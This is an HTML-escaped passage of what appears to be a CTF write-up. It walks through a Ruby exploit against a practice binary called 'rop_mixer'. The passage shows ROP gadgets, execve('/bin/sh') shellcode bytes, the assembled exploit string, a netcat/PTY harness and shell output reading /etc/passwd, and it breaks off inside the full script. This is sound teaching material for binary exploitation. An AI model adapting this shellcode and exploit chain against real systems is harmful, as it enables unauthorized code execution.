&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;vg&quot;&gt;$shell_jmp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xeb\x02&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$gadget_add_esp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_jmp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$gadget_call_eax&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;We can use rasm2 (part of Radare2) to assemble arbitrary instructions:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;†  rasm2 -ix86 &#39;jmp 4&#39;
eb02
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Using non-ascii characters in strings causes Ruby’s do-what-i-mean semantics to go a little wrong (Ruby is being reasonable, we are the ones trying to do something weird). To deal with that we will run our shell code through an &lt;code class=&quot;highlighter-rouge&quot;&gt;enc&lt;/code&gt; function.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;#incompatible character encodings: ASCII-8BIT and UTF-8(Encoding::CompatibilityError)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;force_encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ASCII_8BIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;From this point on we can execute whatever shellcode we want. To &lt;code class=&quot;highlighter-rouge&quot;&gt;evecve&lt;/code&gt; a shell we need:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;eax = 0x0b
ebx = &quot;/bin/sh&quot;
ecx = 0
edx = 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;and then invoke a system call with &lt;code class=&quot;highlighter-rouge&quot;&gt;int 0x80&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The placement of the “/bin/sh” string complicates things. One thing we can do is place it inline with the shell code and then &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; over it during execution. It is not possible to &lt;code class=&quot;highlighter-rouge&quot;&gt;mov&lt;/code&gt; the value of &lt;code class=&quot;highlighter-rouge&quot;&gt;eip&lt;/code&gt; into a general purpose register though. One way to get the value is to &lt;code class=&quot;highlighter-rouge&quot;&gt;call&lt;/code&gt; and immediately return, leaving &lt;code class=&quot;highlighter-rouge&quot;&gt;eip&lt;/code&gt; on the stack.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;mov edi, 0x08048910
call edi
mov ebx, esp - 4
jmp 0x0a
&quot;/bin/bash&quot;
add ebx, 9
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can add them to our exploit string like this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;vg&quot;&gt;$shell_mov_edi_0xbf10890408&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xbf\x10\x89\x04\x08&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_call_edi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xff\xd7&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_mov_ebx_esp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x8b\x9c\x24\xfc\xff\xff\xff&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_jmp_0xa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xeb\x08&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_add_esp_0x100&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x81\xc4\x00\x01\x00\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_bin_sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_add_ebx_9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x83\xc3\x09&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And what’s left is setting the remaining registers with immediate values and invoking the syscall.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;mov eax, 0xb
xor ecx, ecx
xor edx, edx
int 0x80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;vg&quot;&gt;$shell_mov_eax_0xb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb8\x0b\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_xor_ecx_ecx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xc9&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_xor_edx_edx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xd2&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_int_0x80&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xcd\x80&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;So our complete exploit string looks like this:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$gadget_add_esp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_jmp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$gadget_call_eax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_add_esp_0x100&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_mov_edi_0xbf10890408&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_call_edi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_mov_ebx_esp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_jmp_0xa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_bin_sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_add_ebx_9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_mov_eax_0xb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_xor_ecx_ecx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_xor_edx_edx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_int_0x80&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;&quot;\f\x89\x04\b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x02\xDF\x85\x04\b\x81\xC4\x00\x01\x00\x00\xBF\x10\x89\x04\b\xFF\xD7\x8B\x9C$\xFC\xFF\xFF\xFF\xEB\b/bin/sh\x00\x83\xC3\t\xB8\v\x00\x00\x001\xC91\xD2\xCD\x80&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can spawn the binary locally (useful for debugging) or netcat to connect remotely using Ruby’s PTY module part of the standard library.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;pty&#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;xspawn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;master&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;slave&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;PTY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;write&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pipe&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;spawn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:in&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:out&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;slave&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;slave&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;master&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid_sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xspawn&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;./ctf/exploits/binary2_workshop/rop_mixer/rop_mixer&quot;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# OR&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid_sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xspawn&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;nc 127.0.0.1 12349&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Send the exploit string&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;  &lt;span class=&quot;n&quot;&gt;w_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;To make our shell interactive, it does not seem like Ruby has a ready made &lt;code class=&quot;highlighter-rouge&quot;&gt;interact&lt;/code&gt; function, but we can implement it ourselves in a few lines of code. We basically just need to &lt;code class=&quot;highlighter-rouge&quot;&gt;select(2)&lt;/code&gt; on stdin of the script and stdout of &lt;code class=&quot;highlighter-rouge&quot;&gt;rop_mixer&lt;/code&gt; or &lt;code class=&quot;highlighter-rouge&quot;&gt;netcat&lt;/code&gt; and shuffle data from one world to the other.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;rs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read_nonblock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;vg&quot;&gt;$stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;w_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;vg&quot;&gt;$stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read_nonblock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;And that’s it.&lt;/p&gt;

&lt;p&gt;Our interactive shell does not have a $PS1 prompt or job control but it is functional enough. In this example I ran &lt;code class=&quot;highlighter-rouge&quot;&gt;ls&lt;/code&gt; followed by &lt;code class=&quot;highlighter-rouge&quot;&gt;head /etc/passwd&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;†  ruby mixer_exp.rb
nc: using stream socket
WELCOME TO THE ROP MIXER
There are 49 gadgets
GOOD LUCK WITH YOUR GADGETS
TÐ(ÐÐZÐÐÐRÐWÐSÐÐÐ_ÐÐ0Ð]Ð̀Ð ÐÐQÐ8ÐÐUÐÐVÐXÐ^ÐÐYÐ[ÐÐ$ÐPÐEÐÐÐ\Ðls
host.sh
rop_mixer
head /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/bin/false
daemon:x:2:2:daemon:/sbin:/bin/false
adm:x:3:4:adm:/var/adm:/bin/false
lp:x:4:7:lp:/var/spool/lpd:/bin/false
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
news:x:9:13:news:/var/spool/news:/bin/false
uucp:x:10:14:uucp:/var/spool/uucp:/bin/false
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Below is the full exploit script.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/ruby&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;r2pipe&#39;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;require&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&#39;pty&#39;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;addr_to_str&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# We need to convert from numeric to little Endian string format.&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;chr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;chr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
